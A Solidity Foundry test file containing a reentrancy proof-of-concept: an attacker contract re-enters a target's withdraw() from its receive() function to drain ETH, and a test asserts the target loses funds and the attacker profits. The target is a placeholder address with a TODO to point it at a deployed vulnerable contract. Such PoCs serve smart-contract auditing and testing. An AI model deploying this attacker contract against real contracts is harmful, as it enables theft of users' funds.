// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "forge-std/Test.sol"; interface IVulnerableTarget { function deposit() external payable; function withdraw() external; function balances(address user) external view returns (uint256); } contract ReentrancyAttacker { IVulnerableTarget public target; uint256 public loops; uint256 public maxLoops; constructor(address _target) { target = IVulnerableTarget(_target); } function attack(uint256 _maxLoops) external payable { require(msg.value > 0, "need ETH"); maxLoops = _maxLoops; target.deposit{value: msg.value}(); target.withdraw(); } receive() external payable { if (address(target).balance > 0 && loops < maxLoops) { loops++; target.withdraw(); } } } contract ReentrancyPoCTest is Test { // TODO: replace with deployed vulnerable contract address address constant TARGET = address(0x1234567890123456789012345678901234567890); IVulnerableTarget target; ReentrancyAttacker attacker; function setUp() public { target = IVulnerableTarget(TARGET); attacker = new ReentrancyAttacker(TARGET); // Fund attacker EOA used to trigger exploit vm.deal(address(this), 10 ether); } function test_reentrancy_drain() public { uint256 beforeTargetBalance = address(TARGET).balance; // Seed attacker and execute exploit loop attacker.attack{value: 1 ether}(5); uint256 afterTargetBalance = address(TARGET).balance; assertLt(afterTargetBalance, beforeTargetBalance, "target should lose ETH"); assertGt(address(attacker).balance, 1 ether, "attacker should profit"); } }